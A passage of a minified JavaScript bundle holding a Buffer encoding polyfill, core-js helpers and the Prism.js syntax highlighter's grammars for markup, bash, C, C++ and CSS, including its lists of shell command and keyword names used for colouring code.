l(e,r).toString()),s=i.length;for(o=0;o<n-t;++o)this[o+t]=i[o%s]}return this};var M=/[^+\/0-9A-Za-z-_]/g;function U(e){return e<16?"0"+e.toString(16):e.toString(16)}function j(e,t){var n;t=t||1/0;for(var r=e.length,a=null,o=[],i=0;i<r;++i){if((n=e.charCodeAt(i))>55295&&n<57344){if(!a){if(n>56319){(t-=3)>-1&&o.push(239,191,189);continue}if(i+1===r){(t-=3)>-1&&o.push(239,191,189);continue}a=n;continue}if(n<56320){(t-=3)>-1&&o.push(239,191,189),a=n;continue}n=65536+(a-55296<<10|n-56320)}else a&&(t-=3)>-1&&o.push(239,191,189);if(a=null,n<128){if((t-=1)<0)break;o.push(n)}else if(n<2048){if((t-=2)<0)break;o.push(n>>6|192,63&n|128)}else if(n<65536){if((t-=3)<0)break;o.push(n>>12|224,n>>6&63|128,63&n|128)}else{if(!(n<1114112))throw new Error("Invalid code point");if((t-=4)<0)break;o.push(n>>18|240,n>>12&63|128,n>>6&63|128,63&n|128)}}return o}function $(e){return r.toByteArray(function(e){if((e=function(e){return e.trim?e.trim():e.replace(/^\s+|\s+$/g,"")}(e).replace(M,"")).length<2)return"";for(;e.length%4!=0;)e+="=";return e}(e))}function G(e,t,n,r){for(var a=0;a<r&&!(a+n>=t.length||a>=e.length);++a)t[a+n]=e[a];return a}}).call(this,n("yLpj"))},Iw71:function(e,t,n){var r=n("0/R4"),a=n("dyZX").document,o=r(a)&&r(a.createElement);e.exports=function(e){return o?a.createElement(e):{}}},JiEa:function(e,t){t.f=Object.getOwnPropertySymbols},KYgN:function(e,t){e.exports="\t\n\v\f\r \u2028\u2029\ufeff"},KroJ:function(e,t,n){var r=n("dyZX"),a=n("Mukb"),o=n("aagx"),i=n("ylqs")("src"),s=n("+lvF"),l=(""+s).split("toString");n("g3g5").inspectSource=function(e){return s.call(e)},(e.exports=function(e,t,n,s){var u="function"==typeof n;u&&(o(n,"name")||a(n,"name",t)),e[t]!==n&&(u&&(o(n,i)||a(n,i,e[t]?""+e[t]:l.join(String(t)))),e===r?e[t]=n:s?e[t]?e[t]=n:a(e,t,n):(delete e[t],a(e,t,n)))})(Function.prototype,"toString",(function(){return"function"==typeof this&&this[i]||s.call(this)}))},LQAc:function(e,t){e.exports=!1},LZWt:function(e,t){var n={}.toString;e.exports=function(e){return n.call(e).slice(8,-1)}},Mukb:function(e,t,n){var r=n("hswa"),a=n("RjD/");e.exports=n("nh4g")?function(e,t,n){return r.f(e,t,a(1,n))}:function(e,t,n){return e[t]=n,e}},NK4f:function(e,t,n){n("91GP"),e.exports=n("g3g5").Object.assign},P1B3:function(e,t,n){var r={};r[n("QD2z")("toStringTag")]="z",e.exports="[object z]"===String(r)},PXjX:function(e,t,n){"use strict";var r=n("6MHB"),a=n("REpN"),o=n("JhOX"),i=n("wTlq"),s=n("WD+B"),l=n("N4st"),u=n("Tzlz"),c=n("vmxK"),p=n("9h/2"),f=n("efto"),d=r.aTypedArray,g=r.exportTypedArrayMethod,h=a.Uint16Array,y=h&&h.prototype.sort,b=!!y&&!o((function(){var e=new h(2);e.sort(null),e.sort({})})),m=!!y&&!o((function(){if(p)return p<74;if(u)return u<67;if(c)return!0;if(f)return f<602;var e,t,n=new h(516),r=Array(516);for(e=0;e<516;e++)t=e%4,n[e]=515-e,r[e]=e-2*t+3;for(n.sort((function(e,t){return(e/4|0)-(t/4|0)})),e=0;e<516;e++)if(n[e]!==r[e])return!0}));g("sort",(function(e){if(void 0!==e&&i(e),m)return y.call(this,e);d(this);var t,n=s(this.length),r=Array(n);for(t=0;t<n;t++)r[t]=this[t];for(r=l(this,function(e){return function(t,n){return void 0!==e?+e(t,n)||0:n!=n?-1:t!=t?1:0===t&&0===n?1/t>0&&1/n<0?1:-1:t>n}}(e)),t=0;t<n;t++)this[t]=r[t];return this}),!m||b)},RYi7:function(e,t){var n=Math.ceil,r=Math.floor;e.exports=function(e){return isNaN(e=+e)?0:(e>0?r:n)(e)}},ReuC:function(e,t,n){"use strict";n.d(t,"a",(function(){return a}));var r=n("foSv");function a(e,t,n){return(a="undefined"!=typeof Reflect&&Reflect.get?Reflect.get:function(e,t,n){var a=function(e,t){for(;!Object.prototype.hasOwnProperty.call(e,t)&&null!==(e=Object(r.a)(e)););return e}(e,t);if(a){var o=Object.getOwnPropertyDescriptor(a,t);return o.get?o.get.call(n):o.value}})(e,t,n||e)}},"RjD/":function(e,t){e.exports=function(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}},"S/j/":function(e,t,n){var r=n("vhPU");e.exports=function(e){return Object(r(e))}},SVOR:function(e,t,n){"use strict";var r,a,o,i=(r=0,a={util:{encode:function(e){return e instanceof o?new o(e.type,a.util.encode(e.content),e.alias):"Array"===a.util.type(e)?e.map(a.util.encode):e.replace(/&/g,"&").replace(/</g,"<").replace(/\u00a0/g," ")},type:function(e){return Object.prototype.toString.call(e).match(/\[object (\w+)\]/)[1]},objId:function(e){return e.__id||Object.defineProperty(e,"__id",{value:++r}),e.__id},clone:function(e,t){var n=a.util.type(e);switch(t=t||{},n){case"Object":if(t[a.util.objId(e)])return t[a.util.objId(e)];for(var r in o={},t[a.util.objId(e)]=o,e)e.hasOwnProperty(r)&&(o[r]=a.util.clone(e[r],t));return o;case"Array":if(t[a.util.objId(e)])return t[a.util.objId(e)];var o=[];return t[a.util.objId(e)]=o,e.forEach((function(e,n){o[n]=a.util.clone(e,t)})),o}return e}},languages:{extend:function(e,t){var n=a.util.clone(a.languages[e]);for(var r in t)n[r]=t[r];return n},insertBefore:function(e,t,n,r){var o=(r=r||a.languages)[e];if(2==arguments.length){for(var i in n=arguments[1])n.hasOwnProperty(i)&&(o[i]=n[i]);return o}var s={};for(var l in o)if(o.hasOwnProperty(l)){if(l==t)for(var i in n)n.hasOwnProperty(i)&&(s[i]=n[i]);s[l]=o[l]}return a.languages.DFS(a.languages,(function(t,n){n===r[e]&&t!=e&&(this[t]=s)})),r[e]=s},DFS:function(e,t,n,r){for(var o in r=r||{},e)e.hasOwnProperty(o)&&(t.call(e,o,e[o],n||o),"Object"!==a.util.type(e[o])||r[a.util.objId(e[o])]?"Array"!==a.util.type(e[o])||r[a.util.objId(e[o])]||(r[a.util.objId(e[o])]=!0,a.languages.DFS(e[o],t,o,r)):(r[a.util.objId(e[o])]=!0,a.languages.DFS(e[o],t,null,r)))}},plugins:{},highlight:function(e,t,n){var r={code:e,grammar:t,language:n};return a.hooks.run("before-tokenize",r),r.tokens=a.tokenize(r.code,r.grammar),a.hooks.run("after-tokenize",r),o.stringify(a.util.encode(r.tokens),r.language)},matchGrammar:function(e,t,n,r,o,i,s){var l=a.Token;for(var u in n)if(n.hasOwnProperty(u)&&n[u]){if(u==s)return;var c=n[u];c="Array"===a.util.type(c)?c:[c];for(var p=0;p<c.length;++p){var f=c[p],d=f.inside,g=!!f.lookbehind,h=!!f.greedy,y=0,b=f.alias;if(h&&!f.pattern.global){var m=f.pattern.toString().match(/[imuy]*$/)[0];f.pattern=RegExp(f.pattern.source,m+"g")}f=f.pattern||f;for(var v=r,E=o;v<t.length;E+=t[v].length,++v){var w=t[v];if(t.length>e.length)return;if(!(w instanceof l)){if(h&&v!=t.length-1){if(f.lastIndex=E,!(R=f.exec(e)))break;for(var S=R.index+(g?R[1].length:0),_=R.index+R[0].length,k=v,A=E,T=t.length;k<T&&(A<_||!t[k].type&&!t[k-1].greedy);++k)S>=(A+=t[k].length)&&(++v,E=A);if(t[v]instanceof l)continue;O=k-v,w=e.slice(E,A),R.index-=E}else{f.lastIndex=0;var R=f.exec(w),O=1}if(R){g&&(y=R[1]?R[1].length:0),_=(S=R.index+y)+(R=R[0].slice(y)).length;var I=w.slice(0,S),x=w.slice(_),C=[v,O];I&&(++v,E+=I.length,C.push(I));var P=new l(u,d?a.tokenize(R,d):R,b,R,h);if(C.push(P),x&&C.push(x),Array.prototype.splice.apply(t,C),1!=O&&a.matchGrammar(e,t,n,v,E,!0,u),i)break}else if(i)break}}}}},hooks:{add:function(){},run:function(e,t){}},tokenize:function(e,t,n){var r=[e],o=t.rest;if(o){for(var i in o)t[i]=o[i];delete t.rest}return a.matchGrammar(e,r,t,0,0,!1),r}},(o=a.Token=function(e,t,n,r,a){this.type=e,this.content=t,this.alias=n,this.length=0|(r||"").length,this.greedy=!!a}).stringify=function(e,t,n){if("string"==typeof e)return e;if("Array"===a.util.type(e))return e.map((function(n){return o.stringify(n,t,e)})).join("");var r={type:e.type,content:o.stringify(e.content,t,n),tag:"span",classes:["token",e.type],attributes:{},language:t,parent:n};if(e.alias){var i="Array"===a.util.type(e.alias)?e.alias:[e.alias];Array.prototype.push.apply(r.classes,i)}var s=Object.keys(r.attributes).map((function(e){return e+'="'+(r.attributes[e]||"").replace(/"/g,""")+'"'})).join(" ");return"<"+r.tag+' class="'+r.classes.join(" ")+'"'+(s?" "+s:"")+">"+r.content+"</"+r.tag+">"},a);i.languages.markup={comment:/<!--[\s\S]*?-->/,prolog:/<\?[\s\S]+?\?>/,doctype:{pattern:/<!DOCTYPE(?:[^>"'[\]]|"[^"]*"|'[^']*')+(?:\[(?:[^<"'\]]|"[^"]*"|'[^']*'|<(?!!--)|<!--(?:[^-]|-(?!->))*-->)*\]\s*)?>/i,greedy:!0,inside:{"internal-subset":{pattern:/(\[)[\s\S]+(?=\]>$)/,lookbehind:!0,greedy:!0,inside:null},string:{pattern:/"[^"]*"|'[^']*'/,greedy:!0},punctuation:/^<!|>$|[[\]]/,"doctype-tag":/^DOCTYPE/,name:/[^\s<>'"]+/}},cdata:/<!\[CDATA\[[\s\S]*?]]>/i,tag:{pattern:/<\/?(?!\d)[^\s>\/=$<%]+(?:\s(?:\s*[^\s>\/=]+(?:\s*=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+(?=[\s>]))|(?=[\s/>])))+)?\s*\/?>/,greedy:!0,inside:{tag:{pattern:/^<\/?[^\s>\/]+/,inside:{punctuation:/^<\/?/,namespace:/^[^\s>\/:]+:/}},"attr-value":{pattern:/=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+)/,inside:{punctuation:[{pattern:/^=/,alias:"attr-equals"},/"|'/]}},punctuation:/\/?>/,"attr-name":{pattern:/[^\s>\/]+/,inside:{namespace:/^[^\s>\/:]+:/}}}},entity:[{pattern:/&[\da-z]{1,8};/i,alias:"named-entity"},/&#x?[\da-f]{1,8};/i]},i.languages.markup.tag.inside["attr-value"].inside.entity=i.languages.markup.entity,i.languages.markup.doctype.inside["internal-subset"].inside=i.languages.markup,i.hooks.add("wrap",(function(e){"entity"===e.type&&(e.attributes.title=e.content.replace(/&/,"&"))})),Object.defineProperty(i.languages.markup.tag,"addInlined",{value:function(e,t){var n={};n["language-"+t]={pattern:/(^<!\[CDATA\[)[\s\S]+?(?=\]\]>$)/i,lookbehind:!0,inside:i.languages[t]},n.cdata=/^<!\[CDATA\[|\]\]>$/i;var r={"included-cdata":{pattern:/<!\[CDATA\[[\s\S]*?\]\]>/i,inside:n}};r["language-"+t]={pattern:/[\s\S]+/,inside:i.languages[t]};var a={};a[e]={pattern:RegExp(/(<__[^>]*>)(?:<!\[CDATA\[(?:[^\]]|\](?!\]>))*\]\]>|(?!<!\[CDATA\[)[\s\S])*?(?=<\/__>)/.source.replace(/__/g,(function(){return e})),"i"),lookbehind:!0,greedy:!0,inside:r},i.languages.insertBefore("markup","cdata",a)}}),i.languages.html=i.languages.markup,i.languages.mathml=i.languages.markup,i.languages.svg=i.languages.markup,i.languages.xml=i.languages.extend("markup",{}),i.languages.ssml=i.languages.xml,i.languages.atom=i.languages.xml,i.languages.rss=i.languages.xml,function(e){var t="\\b(?:BASH|BASHOPTS|BASH_ALIASES|BASH_ARGC|BASH_ARGV|BASH_CMDS|BASH_COMPLETION_COMPAT_DIR|BASH_LINENO|BASH_REMATCH|BASH_SOURCE|BASH_VERSINFO|BASH_VERSION|COLORTERM|COLUMNS|COMP_WORDBREAKS|DBUS_SESSION_BUS_ADDRESS|DEFAULTS_PATH|DESKTOP_SESSION|DIRSTACK|DISPLAY|EUID|GDMSESSION|GDM_LANG|GNOME_KEYRING_CONTROL|GNOME_KEYRING_PID|GPG_AGENT_INFO|GROUPS|HISTCONTROL|HISTFILE|HISTFILESIZE|HISTSIZE|HOME|HOSTNAME|HOSTTYPE|IFS|INSTANCE|JOB|LANG|LANGUAGE|LC_ADDRESS|LC_ALL|LC_IDENTIFICATION|LC_MEASUREMENT|LC_MONETARY|LC_NAME|LC_NUMERIC|LC_PAPER|LC_TELEPHONE|LC_TIME|LESSCLOSE|LESSOPEN|LINES|LOGNAME|LS_COLORS|MACHTYPE|MAILCHECK|MANDATORY_PATH|NO_AT_BRIDGE|OLDPWD|OPTERR|OPTIND|ORBIT_SOCKETDIR|OSTYPE|PAPERSIZE|PATH|PIPESTATUS|PPID|PS1|PS2|PS3|PS4|PWD|RANDOM|REPLY|SECONDS|SELINUX_INIT|SESSION|SESSIONTYPE|SESSION_MANAGER|SHELL|SHELLOPTS|SHLVL|SSH_AUTH_SOCK|TERM|UID|UPSTART_EVENTS|UPSTART_INSTANCE|UPSTART_JOB|UPSTART_SESSION|USER|WINDOWID|XAUTHORITY|XDG_CONFIG_DIRS|XDG_CURRENT_DESKTOP|XDG_DATA_DIRS|XDG_GREETER_DATA_DIR|XDG_MENU_PREFIX|XDG_RUNTIME_DIR|XDG_SEAT|XDG_SEAT_PATH|XDG_SESSION_DESKTOP|XDG_SESSION_ID|XDG_SESSION_PATH|XDG_SESSION_TYPE|XDG_VTNR|XMODIFIERS)\\b",n={pattern:/(^(["']?)\w+\2)[ \t]+\S.*/,lookbehind:!0,alias:"punctuation",inside:null},r={bash:n,environment:{pattern:RegExp("\\$"+t),alias:"constant"},variable:[{pattern:/\$?\(\([\s\S]+?\)\)/,greedy:!0,inside:{variable:[{pattern:/(^\$\(\([\s\S]+)\)\)/,lookbehind:!0},/^\$\(\(/],number:/\b0x[\dA-Fa-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:[Ee]-?\d+)?/,operator:/--?|-=|\+\+?|\+=|!=?|~|\*\*?|\*=|\/=?|%=?|<<=?|>>=?|<=?|>=?|==?|&&?|&=|\^=?|\|\|?|\|=|\?|:/,punctuation:/\(\(?|\)\)?|,|;/}},{pattern:/\$\((?:\([^)]+\)|[^()])+\)|`[^`]+`/,greedy:!0,inside:{variable:/^\$\(|^`|\)$|`$/}},{pattern:/\$\{[^}]+\}/,greedy:!0,inside:{operator:/:[-=?+]?|[!\/]|##?|%%?|\^\^?|,,?/,punctuation:/[\[\]]/,environment:{pattern:RegExp("(\\{)"+t),lookbehind:!0,alias:"constant"}}},/\$(?:\w+|[#?*!@$])/],entity:/\\(?:[abceEfnrtv\\"]|O?[0-7]{1,3}|x[0-9a-fA-F]{1,2}|u[0-9a-fA-F]{4}|U[0-9a-fA-F]{8})/};e.languages.bash={shebang:{pattern:/^#!\s*\/.*/,alias:"important"},comment:{pattern:/(^|[^"{\\$])#.*/,lookbehind:!0},"function-name":[{pattern:/(\bfunction\s+)\w+(?=(?:\s*\(?:\s*\))?\s*\{)/,lookbehind:!0,alias:"function"},{pattern:/\b\w+(?=\s*\(\s*\)\s*\{)/,alias:"function"}],"for-or-select":{pattern:/(\b(?:for|select)\s+)\w+(?=\s+in\s)/,alias:"variable",lookbehind:!0},"assign-left":{pattern:/(^|[\s;|&]|[<>]\()\w+(?=\+?=)/,inside:{environment:{pattern:RegExp("(^|[\\s;|&]|[<>]\\()"+t),lookbehind:!0,alias:"constant"}},alias:"variable",lookbehind:!0},string:[{pattern:/((?:^|[^<])<<-?\s*)(\w+?)\s[\s\S]*?(?:\r?\n|\r)\2/,lookbehind:!0,greedy:!0,inside:r},{pattern:/((?:^|[^<])<<-?\s*)(["'])(\w+)\2\s[\s\S]*?(?:\r?\n|\r)\3/,lookbehind:!0,greedy:!0,inside:{bash:n}},{pattern:/(^|[^\\](?:\\\\)*)(["'])(?:\\[\s\S]|\$\([^)]+\)|\$(?!\()|`[^`]+`|(?!\2)[^\\`$])*\2/,lookbehind:!0,greedy:!0,inside:r}],environment:{pattern:RegExp("\\$?"+t),alias:"constant"},variable:r.variable,function:{pattern:/(^|[\s;|&]|[<>]\()(?:add|apropos|apt|aptitude|apt-cache|apt-get|aspell|automysqlbackup|awk|basename|bash|bc|bconsole|bg|bzip2|cal|cat|cfdisk|chgrp|chkconfig|chmod|chown|chroot|cksum|clear|cmp|column|comm|composer|cp|cron|crontab|csplit|curl|cut|date|dc|dd|ddrescue|debootstrap|df|diff|diff3|dig|dir|dircolors|dirname|dirs|dmesg|du|egrep|eject|env|ethtool|expand|expect|expr|fdformat|fdisk|fg|fgrep|file|find|fmt|fold|format|free|fsck|ftp|fuser|gawk|git|gparted|grep|groupadd|groupdel|groupmod|groups|grub-mkconfig|gzip|halt|head|hg|history|host|hostname|htop|iconv|id|ifconfig|ifdown|ifup|import|install|ip|jobs|join|kill|killall|less|link|ln|locate|logname|logrotate|look|lpc|lpr|lprint|lprintd|lprintq|lprm|ls|lsof|lynx|make|man|mc|mdadm|mkconfig|mkdir|mke2fs|mkfifo|mkfs|mkisofs|mknod|mkswap|mmv|more|most|mount|mtools|mtr|mutt|mv|nano|nc|netstat|nice|nl|nohup|notify-send|npm|nslookup|op|open|parted|passwd|paste|pathchk|ping|pkill|pnpm|popd|pr|printcap|printenv|ps|pushd|pv|quota|quotacheck|quotactl|ram|rar|rcp|reboot|remsync|rename|renice|rev|rm|rmdir|rpm|rsync|scp|screen|sdiff|sed|sendmail|seq|service|sftp|sh|shellcheck|shuf|shutdown|sleep|slocate|sort|split|ssh|stat|strace|su|sudo|sum|suspend|swapon|sync|tac|tail|tar|tee|time|timeout|top|touch|tr|traceroute|tsort|tty|umount|uname|unexpand|uniq|units|unrar|unshar|unzip|update-grub|uptime|useradd|userdel|usermod|users|uudecode|uuencode|v|vdir|vi|vim|virsh|vmstat|wait|watch|wc|wget|whereis|which|who|whoami|write|xargs|xdg-open|yarn|yes|zenity|zip|zsh|zypper)(?=$|[)\s;|&])/,lookbehind:!0},keyword:{pattern:/(^|[\s;|&]|[<>]\()(?:if|then|else|elif|fi|for|while|in|case|esac|function|select|do|done|until)(?=$|[)\s;|&])/,lookbehind:!0},builtin:{pattern:/(^|[\s;|&]|[<>]\()(?:\.|:|break|cd|continue|eval|exec|exit|export|getopts|hash|pwd|readonly|return|shift|test|times|trap|umask|unset|alias|bind|builtin|caller|command|declare|echo|enable|help|let|local|logout|mapfile|printf|read|readarray|source|type|typeset|ulimit|unalias|set|shopt)(?=$|[)\s;|&])/,lookbehind:!0,alias:"class-name"},boolean:{pattern:/(^|[\s;|&]|[<>]\()(?:true|false)(?=$|[)\s;|&])/,lookbehind:!0},"file-descriptor":{pattern:/\B&\d\b/,alias:"important"},operator:{pattern:/\d?<>|>\||\+=|==?|!=?|=~|<<[<-]?|[&\d]?>>|\d?[<>]&?|&[>&]?|\|[&|]?|<=?|>=?/,inside:{"file-descriptor":{pattern:/^\d/,alias:"important"}}},punctuation:/\$?\(\(?|\)\)?|\.\.|[{}[\];\\]/,number:{pattern:/(^|\s)(?:[1-9]\d*|0)(?:[.,]\d+)?\b/,lookbehind:!0}},n.inside=e.languages.bash;for(var a=["comment","function-name","for-or-select","assign-left","string","environment","function","keyword","builtin","boolean","file-descriptor","operator","punctuation","number"],o=r.variable[1].inside,i=0;i<a.length;i++)o[a[i]]=e.languages.bash[a[i]];e.languages.shell=e.languages.bash}(i),i.languages.clike={comment:[{pattern:/(^|[^\\])\/\*[\s\S]*?(?:\*\/|$)/,lookbehind:!0,greedy:!0},{pattern:/(^|[^\\:])\/\/.*/,lookbehind:!0,greedy:!0}],string:{pattern:/(["'])(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/,greedy:!0},"class-name":{pattern:/(\b(?:class|interface|extends|implements|trait|instanceof|new)\s+|\bcatch\s+\()[\w.\\]+/i,lookbehind:!0,inside:{punctuation:/[.\\]/}},keyword:/\b(?:if|else|while|do|for|return|in|instanceof|function|new|try|throw|catch|finally|null|break|continue)\b/,boolean:/\b(?:true|false)\b/,function:/\w+(?=\()/,number:/\b0x[\da-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:e[+-]?\d+)?/i,operator:/[<>]=?|[!=]=?=?|--?|\+\+?|&&?|\|\|?|[?*/~^%]/,punctuation:/[{}[\];(),.:]/},i.languages.c=i.languages.extend("clike",{comment:{pattern:/\/\/(?:[^\r\n\\]|\\(?:\r\n?|\n|(?![\r\n])))*|\/\*[\s\S]*?(?:\*\/|$)/,greedy:!0},"class-name":{pattern:/(\b(?:enum|struct)\s+(?:__attribute__\s*\(\([\s\S]*?\)\)\s*)?)\w+|\b[a-z]\w*_t\b/,lookbehind:!0},keyword:/\b(?:__attribute__|_Alignas|_Alignof|_Atomic|_Bool|_Complex|_Generic|_Imaginary|_Noreturn|_Static_assert|_Thread_local|asm|typeof|inline|auto|break|case|char|const|continue|default|do|double|else|enum|extern|float|for|goto|if|int|long|register|return|short|signed|sizeof|static|struct|switch|typedef|union|unsigned|void|volatile|while)\b/,function:/[a-z_]\w*(?=\s*\()/i,number:/(?:\b0x(?:[\da-f]+(?:\.[\da-f]*)?|\.[\da-f]+)(?:p[+-]?\d+)?|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:e[+-]?\d+)?)[ful]{0,4}/i,operator:/>>=?|<<=?|->|([-+&|:])\1|[?:~]|[-+*/%&|^!=<>]=?/}),i.languages.insertBefore("c","string",{macro:{pattern:/(^\s*)#\s*[a-z](?:[^\r\n\\/]|\/(?!\*)|\/\*(?:[^*]|\*(?!\/))*\*\/|\\(?:\r\n|[\s\S]))*/im,lookbehind:!0,greedy:!0,alias:"property",inside:{string:[{pattern:/^(#\s*include\s*)<[^>]+>/,lookbehind:!0},i.languages.c.string],comment:i.languages.c.comment,"macro-name":[{pattern:/(^#\s*define\s+)\w+\b(?!\()/i,lookbehind:!0},{pattern:/(^#\s*define\s+)\w+\b(?=\()/i,lookbehind:!0,alias:"function"}],directive:{pattern:/^(#\s*)[a-z]+/,lookbehind:!0,alias:"keyword"},"directive-hash":/^#/,punctuation:/##|\\(?=[\r\n])/,expression:{pattern:/\S[\s\S]*/,inside:i.languages.c}}},constant:/\b(?:__FILE__|__LINE__|__DATE__|__TIME__|__TIMESTAMP__|__func__|EOF|NULL|SEEK_CUR|SEEK_END|SEEK_SET|stdin|stdout|stderr)\b/}),delete i.languages.c.boolean,function(e){var t=/\b(?:alignas|alignof|asm|auto|bool|break|case|catch|char|char8_t|char16_t|char32_t|class|compl|concept|const|consteval|constexpr|constinit|const_cast|continue|co_await|co_return|co_yield|decltype|default|delete|do|double|dynamic_cast|else|enum|explicit|export|extern|float|for|friend|goto|if|inline|int|int8_t|int16_t|int32_t|int64_t|uint8_t|uint16_t|uint32_t|uint64_t|long|mutable|namespace|new|noexcept|nullptr|operator|private|protected|public|register|reinterpret_cast|requires|return|short|signed|sizeof|static|static_assert|static_cast|struct|switch|template|this|thread_local|throw|try|typedef|typeid|typename|union|unsigned|using|virtual|void|volatile|wchar_t|while)\b/;e.languages.cpp=e.languages.extend("c",{"class-name":[{pattern:RegExp(/(\b(?:class|concept|enum|struct|typename)\s+)(?!<keyword>)\w+/.source.replace(/<keyword>/g,(function(){return t.source}))),lookbehind:!0},/\b[A-Z]\w*(?=\s*::\s*\w+\s*\()/,/\b[A-Z_]\w*(?=\s*::\s*~\w+\s*\()/i,/\w+(?=\s*<(?:[^<>]|<(?:[^<>]|<[^<>]*>)*>)*>\s*::\s*\w+\s*\()/],keyword:t,number:{pattern:/(?:\b0b[01']+|\b0x(?:[\da-f']+(?:\.[\da-f']*)?|\.[\da-f']+)(?:p[+-]?[\d']+)?|(?:\b[\d']+(?:\.[\d']*)?|\B\.[\d']+)(?:e[+-]?[\d']+)?)[ful]{0,4}/i,greedy:!0},operator:/>>=?|<<=?|->|([-+&|:])\1|[?:~]|<=>|[-+*/%&|^!=<>]=?|\b(?:and|and_eq|bitand|bitor|not|not_eq|or|or_eq|xor|xor_eq)\b/,boolean:/\b(?:true|false)\b/}),e.languages.insertBefore("cpp","string",{"raw-string":{pattern:/R"([^()\\ ]{0,16})\([\s\S]*?\)\1"/,alias:"string",greedy:!0}}),e.languages.insertBefore("cpp","class-name",{"base-clause":{pattern:/(\b(?:class|struct)\s+\w+\s*:\s*)[^;{}"'\s]+(?:\s+[^;{}"'\s]+)*(?=\s*[;{])/,lookbehind:!0,greedy:!0,inside:e.languages.extend("cpp",{})}}),e.languages.insertBefore("inside","operator",{"class-name":/\b[a-z_]\w*\b(?!\s*::)/i},e.languages.cpp["base-clause"])}(i),function(e){var t=/("|')(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/;e.languages.css={comment:/\/\*[\s\S]*?\*\//,atrule:{pattern:/@[\w-](?:[^;{\s]|\s+(?![\s{]))*(?:;|(?=\s*\{))/,inside:{rule:/^@[\w-]+/,"selector-function-argument":{pattern:/(\bselector\s*\(\s*(?![\s)]))(?:[^()\s]|\s+(?![\s)])|\((?:[^()]|\([^()]*\))*\))+(?=\s*\))/,lookbehind:!0,alias:"selector"},keyword:{pattern:/(^|[^\w-])(?:and|not|only|or)(?![\w-])/,lookbehind:!0}}},url:{pattern:RegExp("\\burl\\((?:"+t.source+"|"+/(?:[^\\\r\n()"']|\\[\s\S])*/.source+")\\)","i"),greedy:!0,inside:{function:/^url/i,punctuation:/^\(|\)$/,string:{pattern:RegExp("^"+t.source+"$"),alias:"url"}}},selector:RegExp("[^{}\\s](?:[^{};\"'\\s]|\\s+(?![\\s{])|"+t.source+")*(?=\\s*\\{)"),string:{pattern:t,greedy:!0},property:/(?!\s)[-_a-z\xA0-\uFFFF](?:(?!\s)[-\w\xA0-\uFFFF])*(?=\s*:)/i,important:/!important\b/i,function:/[-a-z0-9]+(?=\()/i,punctuation:/[(){};:,]/},e.languages.css.atrule.inside.rest=e.languages.css;var n=e.languages.markup;n&&(n.tag.addInlined("style","css"),e.languages.insertBefore("inside","attr-value",{"style-attr":{pattern:/(^|["'\s])style\s*=\s*(?:"[^"]*"|'[^']*')/i,lookbehind:!0,inside:{"attr-value":{pattern:/=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+)/,inside:{style:{pattern:/(["'])[\s\S]+(?=["']$)/,lookbehind:!0,alias:"language-css",inside:e.languages.css},punctuation:[{pattern:/^=/,alias:"attr-equals"},/"|'/]}},"attr-name":/^style/i}}},n.tag))}(i),function(e){var t,n=/("|')(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/;e.languages.css.selector={pattern:e.languages.css.selector,inside:t={"pseudo-element":/:(?:after|before|first-letter|first-line|selection)|::[-\w]+/,"pseudo-class":/:[-\w]+/,class:/\.[-\w]+/,id:/#[-\w]+/,attribute:{pattern:RegExp("\\[(?:[^[\\]\"']|"+n.source+")*\\]"),greedy:!0,inside:{punctuation:/^\[|\]$/,"case-sensitivity":{pattern:/(\s)[si]$/i,lookbehind:!0,alias:"keyword"},namespace:{pattern:/^(\s*)(?:(?!\s)[-*\w\xA0-\uFFFF])*\|(?!=)/,lookbehind:!0,inside:{punctuation:/\|$/}},"attr-name":{pattern:/^(\s*)(?:(?!\s)[-\w\xA0-\uFFFF])+/,lookbehind:!0},"attr-value":[n,{pattern:/(=\s*)(?:(?!\s)[-\w\xA0-\uFFFF])+(?=\s*$)/,lookbehind:!0}],operator:/[|~*^$]?=/}},"n-th":[{pattern:/(\(\s*)[+-]?\d*[\dn](?:\s*[+-]\s*\d+)?(?=\s*\))/,lookbehind:!0,inside:{number:/[\dn]+/,operator:/[+-]/}},{pattern:/(\(\s*)(?:even|odd)(?=\s*\))/i,lookbehind:!0}],combinator:/>|\+|~|\|\|/,punctuation:/[(),]/}},e.languages.css.atrule.inside["selector-function-argument"].inside=t,e.languages.insertBefore("css","property",{variable:{pattern:/(^|[^-\w\xA0-\uFFFF])--(?!\s)[-_a-z\xA0-\uFFFF](?:(?!\s)[-\w\xA0-\uFFFF])*/i,lookbehind:!0}});var r={pattern:/(\b\d+)(?:%|[a-z]+\b)/,lookbehind:!0},a={pattern:/(^|[^\w.-])-?(?:\d+(?:\.\d+)?|\.\d+)/,lookbehind:!0};e.languages.insertBefore("css","function",{operator:{pattern:/(\s)[+\-*\/](?=\s)/,lookbehind:!0},hexcode:{pattern:/\B#(?:[\da-f]{1,2}){3,4}\b/i,alias:"color"},color:[/\b(?:AliceBlue|AntiqueWhite|Aqua|Aquamarine|Azure|Beige|Bisque|Black|BlanchedAlmond|Blue|BlueViolet|Brown|BurlyWood|CadetBlue|Chartreuse|Chocolate|Coral|CornflowerBlue|Cornsilk|Crimson|Cyan|DarkBlue|DarkCyan|DarkGoldenRod|DarkGr[ae]y|DarkGreen|DarkKhaki|DarkMagenta|DarkOliveGreen|DarkOrange|DarkOrchid|DarkRed|DarkSalmon|DarkSeaGreen|DarkSlateBlue|DarkSlateGr[ae]y|DarkTurquoise|DarkViolet|DeepPink|DeepSkyBlue|DimGr[ae]y|DodgerBlue|FireBrick|FloralWhite|ForestGreen|Fuchsia|Gainsboro|GhostWhite|Gold|GoldenRod|Gr[ae]y|Green|GreenYellow|HoneyDew|HotPink|IndianRed|Indigo|Ivory|Khaki|Lavender|LavenderBlush|LawnGreen|LemonChiffon|LightBlue|LightCoral|LightCyan|LightGoldenRodYellow|LightGr[ae]y|LightGreen|LightPink|LightSalmon|LightSeaGreen|LightSkyBlue|LightSlateGr[ae]y|LightSteelBlue|LightYellow|Lime|LimeGreen|Linen|Magenta|Maroon|MediumAquaMarine|MediumBlue|M